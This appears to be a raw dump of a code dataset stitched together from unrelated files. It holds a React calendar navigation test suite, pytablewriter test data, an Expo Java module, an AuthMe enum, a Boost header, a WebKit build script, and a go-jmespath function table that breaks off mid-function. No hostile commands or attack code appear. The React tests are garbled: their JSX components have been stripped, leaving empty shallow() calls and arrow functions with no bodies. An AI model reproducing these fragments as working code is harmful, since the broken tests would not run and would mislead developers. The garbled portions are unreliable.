onPrevMonthStub = sinon.stub();\n const prevMonthButton = shallow().dive().find('[role=\"button\"]').at(0);\n prevMonthButton.simulate('click');\n expect(onPrevMonthStub).to.have.property('callCount', 0);\n });\n\n it('props.onNextMonthClick is not triggered by prev month disabled click', () => {\n const onNextMonthStub = sinon.stub();\n const nextMonthButton = shallow().dive().find('[role=\"button\"]').at(1);\n nextMonthButton.simulate('click');\n expect(onNextMonthStub).to.have.property('callCount', 0);\n });\n\n it('props.onPrevMonthClick is triggered by prev month button key up', () => {\n const onPrevMonthStub = sinon.stub();\n const prevMonthButton = shallow().dive().find('[role=\"button\"]').at(0);\n prevMonthButton.simulate('keyup', { key: 'Enter' });\n expect(onPrevMonthStub).to.have.property('callCount', 1);\n prevMonthButton.simulate('keyup', { key: ' ' });\n expect(onPrevMonthStub).to.have.property('callCount', 2);\n prevMonthButton.simulate('keyup', { key: 'k' });\n expect(onPrevMonthStub).to.have.property('callCount', 2);\n });\n\n it('props.onNextMonthClick is triggered by next month button key up', () => {\n const onNextMonthStub = sinon.stub();\n const nextMonthButton = shallow().dive().find('[role=\"button\"]').at(1);\n nextMonthButton.simulate('keyup', { key: 'Enter' });\n expect(onNextMonthStub).to.have.property('callCount', 1);\n nextMonthButton.simulate('keyup', { key: ' ' });\n expect(onNextMonthStub).to.have.property('callCount', 2);\n nextMonthButton.simulate('keyup', { key: 'k' });\n expect(onNextMonthStub).to.have.property('callCount', 2);\n });\n\n it('props.onPrevMonthClick is triggered by custom prev month button click', () => {\n const onPrevMonthStub = sinon.stub();\n const renderNavPrevButtonStub = sinon.stub().onCall(0).callsFake(({ onClick }) => );\n const prevMonthButton = shallow().dive().find('button').at(0);\n prevMonthButton.simulate('click');\n expect(onPrevMonthStub).to.have.property('callCount', 1);\n });\n\n it('props.onNextMonthClick is triggered by custom next month button click', () => {\n const onNextMonthStub = sinon.stub();\n const renderNavNextButtonStub = sinon.stub().onCall(0).callsFake(({ onClick }) => );\n const nextMonthButton = shallow().dive().find('button').at(0);\n nextMonthButton.simulate('click');\n expect(onNextMonthStub).to.have.property('callCount', 1);\n });\n\n it('props.onPrevMonthClick is not triggered by custom prev month disabled click', () => {\n const onPrevMonthStub = sinon.stub();\n const renderNavPrevButtonStub = sinon.stub().onCall(0).callsFake(({ disabled, onClick }) => );\n const prevMonthButton = shallow().dive().find('button').at(0);\n prevMonthButton.simulate('click');\n expect(onPrevMonthStub).to.have.property('callCount', 0);\n });\n\n it('props.onNextMonthClick is not triggered by custom next month disabled click', () => {\n const onNextMonthStub = sinon.stub();\n const renderNavNextButtonStub = sinon.stub().onCall(0).callsFake(({ disabled, onClick }) => );\n const nextMonthButton = shallow().dive().find('button').at(0);\n nextMonthButton.simulate('click');\n expect(onNextMonthStub).to.have.property('callCount', 0);\n });\n\n it('props.onPrevMonthClick is triggered by custom prev month button key up', () => {\n const onPrevMonthStub = sinon.stub();\n const renderNavPrevButtonStub = sinon.stub().onCall(0).callsFake(({ onKeyUp }) => );\n const prevMonthButton = shallow().dive().find('button').at(0);\n prevMonthButton.simulate('keyup', { key: 'Enter' });\n expect(onPrevMonthStub).to.have.property('callCount', 1);\n prevMonthButton.simulate('keyup', { key: ' ' });\n expect(onPrevMonthStub).to.have.property('callCount', 2);\n prevMonthButton.simulate('keyup', { key: 'k' });\n expect(onPrevMonthStub).to.have.property('callCount', 2);\n });\n\n it('props.onNextMonthClick is triggered by custom next month button key up', () => {\n const onNextMonthStub = sinon.stub();\n const renderNavNextButtonStub = sinon.stub().onCall(0).callsFake(({ onKeyUp }) => );\n const nextMonthButton = shallow().dive().find('button').at(0);\n nextMonthButton.simulate('keyup', { key: 'Enter' });\n expect(onNextMonthStub).to.have.property('callCount', 1);\n nextMonthButton.simulate('keyup', { key: ' ' });\n expect(onNextMonthStub).to.have.property('callCount', 2);\n nextMonthButton.simulate('keyup', { key: 'k' });\n expect(onNextMonthStub).to.have.property('callCount', 2);\n });\n });\n});\n"} -{"text": "\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi \n\"\"\"\n\nimport collections\nimport datetime\nimport itertools\nfrom decimal import Decimal\n\nfrom tabledata import TableData\n\nfrom pytablewriter.style import Style\n\n\nTIME = datetime.datetime(2017, 1, 1, 0, 0, 0)\nINF = float(\"inf\")\nNAN = float(\"nan\")\n\nheaders = [\"a\", \"b\", \"c\", \"dd\", \"e\"]\nvalue_matrix = [\n [\"1\", 123.1, \"a\", \"1\", 1],\n [2, 2.2, \"bb\", \"2.2\", 2.2],\n [3, 3.3, \"ccc\", \"3\", \"cccc\"],\n]\nvalue_matrix_with_none = [\n [\"1\", None, \"a\", \"1\", None],\n [None, 2.2, None, \"2.2\", 2.2],\n [3, 3.3, \"ccc\", None, \"cccc\"],\n [None, None, None, None, None],\n]\n\nmix_header_list = [\n \"i\",\n \"f\",\n \"c\",\n \"if\",\n \"ifc\",\n \"bool\",\n \"inf\",\n \"nan\",\n \"mix_num\",\n \"time\",\n]\nmix_value_matrix = [\n [\n 1,\n 1.1,\n \"aa\",\n 1,\n 1,\n True,\n INF,\n NAN,\n 1.0,\n TIME,\n ],\n [\n 2,\n 2.2,\n \"bbb\",\n 2.2,\n 2.2,\n False,\n Decimal(\"inf\"),\n Decimal(\"nan\"),\n INF,\n \"2017-01-02 03:04:05+09:00\",\n ],\n [\n 3,\n 3.33,\n \"cccc\",\n -3,\n \"ccc\",\n True,\n float(\"infinity\"),\n float(\"NAN\"),\n NAN,\n TIME,\n ],\n]\nmix_tabledata = TableData(table_name=\"mix data\", headers=mix_header_list, rows=mix_value_matrix)\n\nfloat_header_list = [\"a\", \"b\", \"c\"]\nfloat_value_matrix = [\n [0.01, 0.00125, 0.0],\n [1.0, 99.9, 0.01],\n [1.2, 999999.123, 0.001],\n]\nfloat_tabledata = TableData(\n table_name=\"float data\", headers=float_header_list, rows=float_value_matrix\n)\n\nvalue_matrix_iter = [\n [\n [1, 2, 3],\n [11, 12, 13],\n ],\n [\n [1, 2, 3],\n [11, 12, 13],\n ],\n [\n [101, 102, 103],\n [1001, 1002, 1003],\n ],\n]\n\nvalue_matrix_iter_1 = [\n [\n [\"a b c d e f g h i jklmn\", 2.1, 3],\n [\"aaaaa\", 12.1, 13],\n ],\n [\n [\"bbb\", 2, 3],\n [\"cc\", 12, 13],\n ],\n [\n [\"a\", 102, 103],\n [\"\", 1002, 1003],\n ],\n]\n\nData = collections.namedtuple(\"Data\", \"table indent header value expected\")\nnull_test_data_list = [\n Data(table=\"dummy\", indent=0, header=header, value=value, expected=\"\")\n for header, value in itertools.product([None, [], \"\"], [None, [], \"\"])\n]\n\nvut_style_tabledata = TableData(\n \"style test\",\n [\n \"none\",\n \"empty\",\n \"tiny\",\n \"small\",\n \"medium\",\n \"large\",\n \"null w/ bold\",\n \"L bold\",\n \"S italic\",\n \"L bold italic\",\n ],\n [\n [111, 111, 111, 111, 111, 111, \"\", 111, 111, 111],\n [1234, 1234, 1234, 1234, 1234, 1234, \"\", 1234, 1234, 1234],\n ],\n)\nvut_styles = [\n None,\n Style(),\n Style(font_size=\"TINY\"),\n Style(font_size=\"SMALL\"),\n Style(font_size=\"MEDIUM\", thousand_separator=\",\"),\n Style(font_size=\"LARGE\", thousand_separator=\" \"),\n Style(font_weight=\"bold\", thousand_separator=\",\"),\n Style(font_size=\"LARGE\", font_weight=\"bold\"),\n Style(font_size=\"SMALL\", font_style=\"italic\"),\n Style(font_size=\"LARGE\", font_weight=\"bold\", font_style=\"italic\"),\n]\n"} -{"text": "/**\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage abi36_0_0.host.exp.exponent.modules.api.netinfo;\n\nimport abi36_0_0.com.facebook.react.ReactPackage;\nimport abi36_0_0.com.facebook.react.bridge.JavaScriptModule;\nimport abi36_0_0.com.facebook.react.bridge.NativeModule;\nimport abi36_0_0.com.facebook.react.bridge.ReactApplicationContext;\nimport abi36_0_0.com.facebook.react.uimanager.ViewManager;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\npublic class NetInfoPackage implements ReactPackage {\n @Override\n public List createNativeModules(ReactApplicationContext reactContext) {\n return Arrays.asList(new NetInfoModule(reactContext));\n }\n\n // Deprecated from RN 0.47\n public List> createJSModules() {\n return Collections.emptyList();\n }\n\n @Override\n @SuppressWarnings(\"rawtypes\")\n public List createViewManagers(ReactApplicationContext reactContext) {\n return Collections.emptyList();\n }\n}\n"} -{"text": "package fr.xephi.authme.datasource;\n\n/**\n * DataSource type.\n */\npublic enum DataSourceType {\n\n MYSQL,\n\n POSTGRESQL,\n\n SQLITE\n\n}\n"} -{"text": "\n#ifndef BOOST_MPL_MAP_AUX_TAG_HPP_INCLUDED\n#define BOOST_MPL_MAP_AUX_TAG_HPP_INCLUDED\n\n// Copyright Aleksey Gurtovoy 2003-2004\n// Copyright David Abrahams 2003-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/mpl for documentation.\n\n// $Id$\n// $Date$\n// $Revision$\n\nnamespace boost { namespace mpl { namespace aux {\n\nstruct map_tag;\n\n}}}\n\n#endif // BOOST_MPL_MAP_AUX_TAG_HPP_INCLUDED\n"} -{"text": "#!/bin/sh\n\nexport SRCROOT=$PWD\nexport WebCore=$PWD\nexport CREATE_HASH_TABLE=\"$SRCROOT/create_hash_table\"\n\nmkdir -p DerivedSources/JavaScriptCore\ncd DerivedSources/JavaScriptCore\n\nmake -f ../../DerivedSources.make JavaScriptCore=../.. BUILT_PRODUCTS_DIR=../..\ncd ../..\n"} -{"text": "package jmespath\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"reflect\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"unicode/utf8\"\n)\n\ntype jpFunction func(arguments []interface{}) (interface{}, error)\n\ntype jpType string\n\nconst (\n\tjpUnknown jpType = \"unknown\"\n\tjpNumber jpType = \"number\"\n\tjpString jpType = \"string\"\n\tjpArray jpType = \"array\"\n\tjpObject jpType = \"object\"\n\tjpArrayNumber jpType = \"array[number]\"\n\tjpArrayString jpType = \"array[string]\"\n\tjpExpref jpType = \"expref\"\n\tjpAny jpType = \"any\"\n)\n\ntype functionEntry struct {\n\tname string\n\targuments []argSpec\n\thandler jpFunction\n\thasExpRef bool\n}\n\ntype argSpec struct {\n\ttypes []jpType\n\tvariadic bool\n}\n\ntype byExprString struct {\n\tintr *treeInterpreter\n\tnode ASTNode\n\titems []interface{}\n\thasError bool\n}\n\nfunc (a *byExprString) Len() int {\n\treturn len(a.items)\n}\nfunc (a *byExprString) Swap(i, j int) {\n\ta.items[i], a.items[j] = a.items[j], a.items[i]\n}\nfunc (a *byExprString) Less(i, j int) bool {\n\tfirst, err := a.intr.Execute(a.node, a.items[i])\n\tif err != nil {\n\t\ta.hasError = true\n\t\t// Return a dummy value.\n\t\treturn true\n\t}\n\tith, ok := first.(string)\n\tif !ok {\n\t\ta.hasError = true\n\t\treturn true\n\t}\n\tsecond, err := a.intr.Execute(a.node, a.items[j])\n\tif err != nil {\n\t\ta.hasError = true\n\t\t// Return a dummy value.\n\t\treturn true\n\t}\n\tjth, ok := second.(string)\n\tif !ok {\n\t\ta.hasError = true\n\t\treturn true\n\t}\n\treturn ith < jth\n}\n\ntype byExprFloat struct {\n\tintr *treeInterpreter\n\tnode ASTNode\n\titems []interface{}\n\thasError bool\n}\n\nfunc (a *byExprFloat) Len() int {\n\treturn len(a.items)\n}\nfunc (a *byExprFloat) Swap(i, j int) {\n\ta.items[i], a.items[j] = a.items[j], a.items[i]\n}\nfunc (a *byExprFloat) Less(i, j int) bool {\n\tfirst, err := a.intr.Execute(a.node, a.items[i])\n\tif err != nil {\n\t\ta.hasError = true\n\t\t// Return a dummy value.\n\t\treturn true\n\t}\n\tith, ok := first.(float64)\n\tif !ok {\n\t\ta.hasError = true\n\t\treturn true\n\t}\n\tsecond, err := a.intr.Execute(a.node, a.items[j])\n\tif err != nil {\n\t\ta.hasError = true\n\t\t// Return a dummy value.\n\t\treturn true\n\t}\n\tjth, ok := second.(float64)\n\tif !ok {\n\t\ta.hasError = true\n\t\treturn true\n\t}\n\treturn ith < jth\n}\n\ntype functionCaller struct {\n\tfunctionTable map[string]functionEntry\n}\n\nfunc newFunctionCaller() *functionCaller {\n\tcaller := &functionCaller{}\n\tcaller.functionTable = map[string]functionEntry{\n\t\t\"length\": {\n\t\t\tname: \"length\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpString, jpArray, jpObject}},\n\t\t\t},\n\t\t\thandler: jpfLength,\n\t\t},\n\t\t\"starts_with\": {\n\t\t\tname: \"starts_with\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpString}},\n\t\t\t\t{types: []jpType{jpString}},\n\t\t\t},\n\t\t\thandler: jpfStartsWith,\n\t\t},\n\t\t\"abs\": {\n\t\t\tname: \"abs\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpNumber}},\n\t\t\t},\n\t\t\thandler: jpfAbs,\n\t\t},\n\t\t\"avg\": {\n\t\t\tname: \"avg\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArrayNumber}},\n\t\t\t},\n\t\t\thandler: jpfAvg,\n\t\t},\n\t\t\"ceil\": {\n\t\t\tname: \"ceil\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpNumber}},\n\t\t\t},\n\t\t\thandler: jpfCeil,\n\t\t},\n\t\t\"contains\": {\n\t\t\tname: \"contains\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArray, jpString}},\n\t\t\t\t{types: []jpType{jpAny}},\n\t\t\t},\n\t\t\thandler: jpfContains,\n\t\t},\n\t\t\"ends_with\": {\n\t\t\tname: \"ends_with\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpString}},\n\t\t\t\t{types: []jpType{jpString}},\n\t\t\t},\n\t\t\thandler: jpfEndsWith,\n\t\t},\n\t\t\"floor\": {\n\t\t\tname: \"floor\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpNumber}},\n\t\t\t},\n\t\t\thandler: jpfFloor,\n\t\t},\n\t\t\"map\": {\n\t\t\tname: \"amp\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpExpref}},\n\t\t\t\t{types: []jpType{jpArray}},\n\t\t\t},\n\t\t\thandler: jpfMap,\n\t\t\thasExpRef: true,\n\t\t},\n\t\t\"max\": {\n\t\t\tname: \"max\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArrayNumber, jpArrayString}},\n\t\t\t},\n\t\t\thandler: jpfMax,\n\t\t},\n\t\t\"merge\": {\n\t\t\tname: \"merge\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpObject}, variadic: true},\n\t\t\t},\n\t\t\thandler: jpfMerge,\n\t\t},\n\t\t\"max_by\": {\n\t\t\tname: \"max_by\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArray}},\n\t\t\t\t{types: []jpType{jpExpref}},\n\t\t\t},\n\t\t\thandler: jpfMaxBy,\n\t\t\thasExpRef: true,\n\t\t},\n\t\t\"sum\": {\n\t\t\tname: \"sum\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArrayNumber}},\n\t\t\t},\n\t\t\thandler: jpfSum,\n\t\t},\n\t\t\"min\": {\n\t\t\tname: \"min\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArrayNumber, jpArrayString}},\n\t\t\t},\n\t\t\thandler: jpfMin,\n\t\t},\n\t\t\"min_by\": {\n\t\t\tname: \"min_by\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArray}},\n\t\t\t\t{types: []jpType{jpExpref}},\n\t\t\t},\n\t\t\thandler: jpfMinBy,\n\t\t\thasExpRef: true,\n\t\t},\n\t\t\"type\": {\n\t\t\tname: \"type\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpAny}},\n\t\t\t},\n\t\t\thandler: jpfType,\n\t\t},\n\t\t\"keys\": {\n\t\t\tname: \"keys\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpObject}},\n\t\t\t},\n\t\t\thandler: jpfKeys,\n\t\t},\n\t\t\"values\": {\n\t\t\tname: \"values\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpObject}},\n\t\t\t},\n\t\t\thandler: jpfValues,\n\t\t},\n\t\t\"sort\": {\n\t\t\tname: \"sort\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArrayString, jpArrayNumber}},\n\t\t\t},\n\t\t\thandler: jpfSort,\n\t\t},\n\t\t\"sort_by\": {\n\t\t\tname: \"sort_by\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArray}},\n\t\t\t\t{types: []jpType{jpExpref}},\n\t\t\t},\n\t\t\thandler: jpfSortBy,\n\t\t\thasExpRef: true,\n\t\t},\n\t\t\"join\": {\n\t\t\tname: \"join\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpString}},\n\t\t\t\t{types: []jpType{jpArrayString}},\n\t\t\t},\n\t\t\thandler: jpfJoin,\n\t\t},\n\t\t\"reverse\": {\n\t\t\tname: \"reverse\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpArray, jpString}},\n\t\t\t},\n\t\t\thandler: jpfReverse,\n\t\t},\n\t\t\"to_array\": {\n\t\t\tname: \"to_array\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpAny}},\n\t\t\t},\n\t\t\thandler: jpfToArray,\n\t\t},\n\t\t\"to_string\": {\n\t\t\tname: \"to_string\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpAny}},\n\t\t\t},\n\t\t\thandler: jpfToString,\n\t\t},\n\t\t\"to_number\": {\n\t\t\tname: \"to_number\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpAny}},\n\t\t\t},\n\t\t\thandler: jpfToNumber,\n\t\t},\n\t\t\"not_null\": {\n\t\t\tname: \"not_null\",\n\t\t\targuments: []argSpec{\n\t\t\t\t{types: []jpType{jpAny}, variadic: true},\n\t\t\t},\n\t\t\thandler: jpfNotNull,\n\t\t},\n\t}\n\treturn caller\n}\n\nfunc (e *functionEntry) resolveArgs(arguments []interface{}) ([]interface{}, error) {\n\tif len(e.arguments) == 0 {\n\t\treturn arguments, nil\n\t}\n\tif !e.arguments[len(e.arguments)-1].variadic {\n\t\tif len(e.arguments) != len(arguments) {\n\t\t\treturn nil, errors.New(\"incorrect number of args\")\n\t\t}\n\t\tfor i, spec := range e.arguments {\n\t\t\tuserArg := arguments[i]\n\t\t\terr := spec.typeCheck(userArg)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\treturn arguments, nil\n\t}\n\tif len(arguments) < len(e.arguments) {\n\t\treturn nil, errors.New(\"Invalid arity.\")\n\t}\n\treturn arguments, nil\n}\n\nfunc (a *argSpec) typeCheck(arg interface{}) error {\n\tfor _, t := range a.types {\n\t\tswitch t {\n\t\tcase jpNumber:\n\t\t\tif _, ok := arg.(float64); ok {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase jpString:\n\t\t\tif _, ok := arg.(string); ok {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase jpArray:\n\t\t\tif isSliceType(arg) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase jpObject:\n\t\t\tif _, ok := arg.(map[string]interface{}); ok {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase jpArrayNumber:\n\t\t\tif _, ok := toArrayNum(arg); ok {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase jpArrayString:\n\t\t\tif _, ok := toArrayStr(arg); ok {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase jpAny:\n\t\t\treturn nil\n\t\tcase jpExpref:\n\t\t\tif _, ok := arg.(expRef); ok {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn fmt.Errorf(\"Invalid type for: %v, expected: %#v\", arg, a.types)\n}\n\nfunc (f *functionCaller) CallFunction(name string, arguments []interface{}, intr *treeInterpreter) (interface{}, error) {\n\tentry, ok := f.functionTable[name]\n\tif !ok {\n\t\treturn nil, errors.New(\"unknown function: \" + name)\n\t}\n\tresolvedArgs, err := entry.resolveArgs(arguments)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif entry.hasExpRef {\n\t\tvar extra []interface{}\n\t\textra = append(extra, intr)\n\t\tresolvedArgs = append(extra, resolvedArgs...)\n\t}\n\treturn entry.handler(resolvedArgs)\n}\n\nfunc jpfAbs(arguments []interface{}) (interface{}, error) {\n\tnum := arguments[0].(float64)\n\treturn math.Abs(num), nil\n}\n\nfunc jpfLength(arguments []interface{}) (interface{}, error) {\n\targ := arguments[0]\n\tif c, ok := arg.(string); ok {\n\t\treturn float64(utf8.RuneCountInString(c)), nil\n\t} else if isSliceType(arg) {\n\t\tv := reflect.ValueOf(arg)\n\t\treturn float64(v.Len()), nil\n\t} else if c, ok := arg.(map[string]interface{}); ok {\n\t\treturn float64(len(c)), nil\n\t}\n\treturn nil, errors.New(\"could not compute length()\")\n}\n\nfunc jpfStartsWith(arguments []interface{}) (interface{}, error) {\n\tsearch := arguments[0].(string)\n\tprefix := arguments[1].(string)\n\treturn strings.HasPrefix(search, prefix), nil\n}\n\nfunc jpfAvg(arguments []interface{}) (interface{}, error) {\n\t// We've already type checked the value so we can safely use\n\t// type assertions.\n\targs := arguments[0].([]interface{})\n\tlength := float64(len(args))\n\tnumerator := 0.0\n\tfor _, n := range args {\n\t\tnumerator += n.(float64)\n\t}\n\treturn numerator / length, nil\n}\nfunc jpfCeil(arguments []interface{}) (interface{}, error) {\n\tval := arguments[0].(float64)\n\treturn math.Ceil(val), nil\n}\nfunc jpfContains(arguments []interface{}) (interface{}, error) {\n\tsearch := arguments[0]\n\tel := arguments[1]\n\tif searchStr, ok := search.(string); ok {\n\t\tif elStr, ok := el.(string); ok {\n\t\t\treturn strings.Index(searchStr, elStr) != -1, nil\n\t\t}\n\t\treturn false, nil\n\t}\n\t// Otherwise this is a generic contains for []interface{}\n\tgeneral := search.([]interface{})\n\tfor _, item := range general {\n\t\tif item == el {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\nfunc jpfEndsWith(arguments []interface{}) (interface{}, error) {\n\tsearch := arguments[0].(string)\n\tsuffix := arguments[1].(string)\n\treturn strings.HasSuffix(search, suffix), nil\n}\nfunc jpfFloor(arguments []interface{}) (interface{}, error) {\n\tval := arguments[0].(float64)\n\treturn math.Floor(val), nil\n}\nfunc jpfMap(arguments []interface{}) (interface{}, error) {\n\tintr := arguments[0].(*treeInterpreter)\n\texp := arguments[1].(expRef)\n\tnode := exp.ref\n\tarr := arguments[2].([]interface{})\n\tmapped := make([]interface{}, 0, len(arr))\n\tfor _, value := range arr {\n\t\tcurrent, err := intr.Execute(node, value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmapped = append(mapped, current)\n\t}\n\treturn mapped, nil\n}\nfunc jpfMax(arguments []interface{}) (interface{}, error) {\n\tif items, ok := toArrayNum(arguments[0]); ok {\n\t\tif len(items) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\t\tif len(items) == 1 {\n\t\t\treturn items[0], nil\n\t\t}\n\t\tbest := items[0]\n\t\tfor _, item := range items[1:] {\n\t\t\tif item > best {\n\t\t\t\tbest = item\n\t\t\t}\n\t\t}\n\t\treturn best, nil\n\t}\n\t// Otherwise we're dealing with a max() of strings.\n\titems, _ := toArrayStr(arguments[0])\n\tif len(items) == 0 {\n\t\treturn nil, nil\n\t}\n\tif len(items) == 1 {\n\t\treturn items[0], nil\n\t}\n\tbest := items[0]\n\tfor _, item := range items[1:] {\n\t\tif item > best {\n\t\t\tbest = item\n\t\t}\n\t}\n\treturn best, nil\n}\nfunc jpfMerge(arguments []interface{}) (interface{}, error) {\n\tfinal := make(map[string]interface{})\n\tfor _, m := range arguments {\n\t\tmapped := m.(map[string]interface{})\n\t\tfor key, value := range mapped {\n\t\t\tfinal[key] = value\n\t\t}\n\t}\n\treturn final, nil\n}\nfunc jpfMaxBy(arguments []interface{}) (interface{}, error) {\n\tintr := arguments[0].(*treeInterpreter)\n\tarr := arguments[1].([]interface{})\n\texp := arguments[2].(expRef)\n\tnode := exp.ref\n\tif len(arr) == 0 {\n\t\treturn nil, nil\n\t} else if len(arr) == 1 {\n\t\treturn arr[0], nil\n\t}\n\tstart, err := intr.Execute(node, arr[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tswitch t := start.(type) {\n\tcase float64:\n\t\tbestVal := t\n\t\tbestItem := arr[0]\n\t\tfor _, item := range arr[1:] {\n\t\t\tresult, err := intr.Execute(node, item)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcurrent, ok := result.(float64)\n\t\t\tif !ok {\n\t\t\t\treturn nil, errors.New(\"invalid type, must be number\")\n\t\t\t}\n\t\t\tif current > bestVal {\n\t\t\t\tbestVal = current\n\t\t\t\tbestItem = item\n\t\t\t}\n\t\t}\n\t\treturn bestItem, nil\n\tcase string:\n\t\tbestVal := t\n\t\tbestItem := arr[0]\n\t\tfor _, item := range arr[1:] {\n\t\t\tresult, err := intr.Execute(node, item)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcurrent, ok := result.(string)\n\t\t\tif !ok {\n\t\t\t\treturn nil, errors.New(\"invalid type, must be string\")\n\t\t\t}\n\t\t\tif current > bestVal {\n\t\t\t\tbestVal = current\n\t\t\t\tbestItem = item\n\t\t\t}\n\t\t}\n\t\treturn bestItem, nil\n\tdefault:\n\t\treturn nil, errors.New(\"invalid type, must be number of string\")\n\t}\n}\nfunc jpfSum(arguments []interface{}) (interface{}, error) {\n\titems, _ := toArrayNum(arguments[0])\n\tsum := 0.0\n\tfor _, item := range items {\n\t\tsum += item\n\t}\n\treturn sum, nil\n}\n\nfunc jpfMin(arguments []interface{}) (interface{}, error) {\n\tif items, ok := toArrayNum(arguments[0]); ok {\n\t\tif len(items) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\t\tif len(items) == 1 {\n\t\t\treturn items[0], nil\n\t\t}\n\t\tbest := items[0]\n\t\tfor _, item := range items[1:] {\n\t\t\tif item < best {\n\t\t\t\tbest = item\n\t\t\t}\n\t\t}\n\t\treturn best, nil\n\t}\n\titems, _ := toArrayStr(arguments[0])\n\tif len(items) == 0 {\n\t\treturn nil, nil\n\t}\n\tif len(items) == 1 {\n\t\treturn items[0], nil\n\t}\n\tbest := items[0]\n\tfor _, item := range items[1:] {\n\t\tif item < best {\n\t\t\tbest = item\n\t\t}\n\t}\n\treturn best, nil\n}\n\nfunc jpfMinBy(arguments []interface{}) (interface{}, error) {\n\tintr := arguments[0].(*treeInterpreter)\n\tarr := arguments[1].([]interface{})\n\texp := arguments[2].(expRef)\n\tnode := exp.ref\n\tif len(arr) == 0 {\n\t\treturn nil, nil\n\t} else if len(arr) == 1 {\n\t\treturn arr[0], nil\n\t}\n\tstart, err := intr.Execute(node, arr[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif t, ok := start.(float64); ok {\n\t\tbestVal := t\n\t\tbestItem := arr[0]\n\t\tfor _, item := range arr[1:] {\n\t\t\tresult, err := intr.Execute(node, item)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcurrent, ok := result.(float64)\n\t\t\tif !ok {\n\t\t\t\treturn nil, errors.New(\"invalid type, must be number\")\n\t\t\t}\n\t\t\tif current < bestVal {\n\t\t\t\tbestVal = current\n\t\t\t\tbestItem = item\n\t\t\t}\n\t\t}\n\t\treturn bestItem, nil\n\t} else if t, ok := start.(string); ok {\n\t\tbestVal := t\n\t\tbestItem := arr[0]\n\t\tfor _, item := range arr[1:] {\n\t\t\tresult, err := intr.Execute(node, item)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcurrent, ok := result.(string)\n\t\t\tif !ok {\n\t\t\t\treturn nil, errors.New(\"invalid type, must be string\")\n\t\t\t}\n\t\t\tif current < bestVal {\n\t\t\t\tbestVal = current\n\t\t\t\tbestItem = item\n\t\t\t}\n\t\t}\n\t\treturn bestItem, nil\n\t} else {\n\t\treturn nil, errors.New(\"invalid type, must be number of string\")\n\t}\n}\nfunc jpfType(arguments []interface{}) (interface{}, error) {\n\targ := arguments[0]\n\tif _, ok := arg.(float64); ok {\n\t\treturn \"number\", nil\n\t}\n\tif _, ok := arg.(string); ok {\n\t\treturn \"string\", nil\n\t}\n\tif _, ok := arg.([]interface{}); ok {\n\t\treturn \"array\", nil\n\t}\n\tif _, ok := arg.(map[string]interface{}); ok {\n\t\treturn \"object\", nil\n\t}\n\tif arg == nil {\n\t\treturn \"null\", nil\n\t}\n\tif arg == true || arg == false {\n\t\treturn \"boolean\", nil\n\t}\n\treturn nil, errors.New(\"unknown type\")\n}\nfunc jpfKeys(arguments []interface{}) (interface{}, error) {\n\targ := arguments[0].(map[string]interface{})\n\tcollected := make([]interface{}, 0, len(arg))\n\tfor key := range arg {\n\t\tcollected = append(collected, 